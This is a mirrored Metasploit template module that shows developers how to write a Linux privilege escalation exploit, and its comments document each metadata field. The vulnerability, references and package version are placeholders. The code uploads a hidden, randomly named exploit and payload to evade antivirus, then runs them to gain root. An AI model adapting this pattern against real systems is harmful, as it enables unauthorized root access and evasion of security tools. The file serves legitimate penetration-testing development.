Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/example_linux_priv_esc.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
###
7
#
8
# This exploit sample shows how an exploit module could be written to exploit
9
# a bug in a command on a linux computer for priv esc.
10
#
11
###
12
class MetasploitModule < Msf::Exploit::Local
13
Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
14
15
# includes: is_root?
16
include Msf::Post::Linux::Priv
17
# includes: has_gcc?
18
include Msf::Post::Linux::System
19
# includes: kernel_release
20
include Msf::Post::Linux::Kernel
21
# includes writable?, upload_file, upload_and_chmodx, exploit_data
22
include Msf::Post::File
23
# includes generate_payload_exe
24
include Msf::Exploit::EXE
25
# includes register_files_for_cleanup
26
include Msf::Exploit::FileDropper
27
# includes: COMPILE option, live_compile?, upload_and_compile
28
# strip_comments
29
include Msf::Post::Linux::Compile
30
prepend Msf::Exploit::Remote::AutoCheck
31
32
def initialize(info = {})
33
super(
34
update_info(
35
info,
36
# The Name should be just like the line of a Git commit - software name,
37
# vuln type, class. Preferably apply
38
# some search optimization so people can actually find the module.
39
# We encourage consistency between module name and file name.
40
'Name' => 'Sample Linux Priv Esc',
41
'Description' => %q{
42
This exploit module illustrates how a vulnerability could be exploited
43
in an linux command for priv esc.
44
},
45
'License' => MSF_LICENSE,
46
# The place to add your name/handle and email. Twitter and other contact info isn't handled here.
47
# Add reference to additional authors, like those creating original proof of concepts or
48
# reference materials.
49
# It is also common to comment in who did what (PoC vs metasploit module, etc)
50
'Author' => [
51
'h00die <[email protected]>', # msf module
52
'researcher' # original PoC, analysis
53
],
54
'Platform' => [ 'linux' ],
55
# from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but the exploit
56
# may only apply to say ARCH_PPC or something else, where a specific arch is required.
57
# A full list is available in lib/msf/core/payload/uuid.rb
58
'Arch' => [ ARCH_X86, ARCH_X64 ],
59
# What types of sessions we can use this module in conjunction with. Most modules use libraries
60
# which work on shell and meterpreter, but there may be a nuance between one of them, so best to
61
# test both to ensure compatibility.
62
'SessionTypes' => [ 'shell', 'meterpreter' ],
63
'Targets' => [[ 'Auto', {} ]],
64
# from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
65
# since privilege escalation modules typically result in elevated privileges, this is
66
# generally set to true
67
'Privileged' => true,
68
'References' => [
69
[ 'OSVDB', '12345' ],
70
[ 'EDB', '12345' ],
71
[ 'URL', 'http://www.example.com'],
72
[ 'CVE', '1978-1234']
73
],
74
'DisclosureDate' => '2023-11-29',
75
# Note that DefaultTarget refers to the index of an item in Targets, rather than name.
76
# It's generally easiest just to put the default at the beginning of the list and skip this
77
# entirely.
78
'DefaultTarget' => 0,
79
# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
80
'Notes' => {
81
'Stability' => [],
82
'Reliability' => [],
83
'SideEffects' => []
84
}
85
)
86
)
87
# force exploit is used to bypass the check command results
88
register_advanced_options [
89
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
90
]
91
end
92
93
# Simplify pulling the writable directory variable
94
def base_dir
95
datastore['WritableDir'].to_s
96
end
97
98
def check
99
# Check the kernel version to see if its in a vulnerable range
100
# we guard this because some distros have funky kernel versions https://github.com/rapid7/metasploit-framework/issues/19812
101
release = kernel_release
102
begin
103
if Rex::Version.new(release.split('-').first) > Rex::Version.new('4.14.11') ||
104
Rex::Version.new(release.split('-').first) < Rex::Version.new('4.0')
105
return CheckCode::Safe("Kernel version #{release} is not vulnerable")
106
end
107
rescue ArgumentError => e
108
return CheckCode::Safe("Error determining or processing kernel release (#{release}) into known format: #{e}")
109
end
110
vprint_good "Kernel version #{release} appears to be vulnerable"
111
112
# Check the app is installed and the version, debian based example
113
package = cmd_exec('dpkg -l example | grep \'^ii\'')
114
if package&.include?('1:2015.3.14AR.1-1build1')
115
return CheckCode::Appears("Vulnerable app version #{package} detected")
116
end
117
118
CheckCode::Safe("app #{package} is not vulnerable")
119
end
120
121
#
122
# The exploit method drops a payload file to the system, then either compiles and runs
123
# or just runs the exploit on the system.
124
#
125
def exploit
126
# Check if we're already root
127
if !datastore['ForceExploit'] && is_root?
128
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
129
end
130
131
# Make sure we can write our exploit and payload to the local system
132
unless writable? base_dir
133
fail_with Failure::BadConfig, "#{base_dir} is not writable"
134
end
135
136
# Upload exploit executable, writing to a random name so AV doesn't have too easy a job
137
executable_name = ".#{rand_text_alphanumeric(5..10)}"
138
executable_path = "#{base_dir}/#{executable_name}"
139
if live_compile?
140
vprint_status 'Live compiling exploit on system...'
141
upload_and_compile executable_path, strip_comments(exploit_data('example.c'))
142
rm_f "#{executable_path}.c"
143
else
144
vprint_status 'Dropping pre-compiled exploit on system...'
145
upload_and_chmodx executable_path, exploit_data('example')
146
end
147
148
# register the file for automatic cleanup
149
register_files_for_cleanup(executable_path)
150
151
# Upload payload executable
152
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
153
upload_and_chmodx payload_path, generate_payload_exe
154
# register payload for automatic cleanup
155
register_files_for_cleanup(payload_path)
156
157
# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the
158
# output from the exploit being run, they can optionally see it
159
timeout = 30
160
print_status 'Launching exploit...'
161
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
162
output.each_line { |line| vprint_status line.chomp }
163
end
164
end
165
166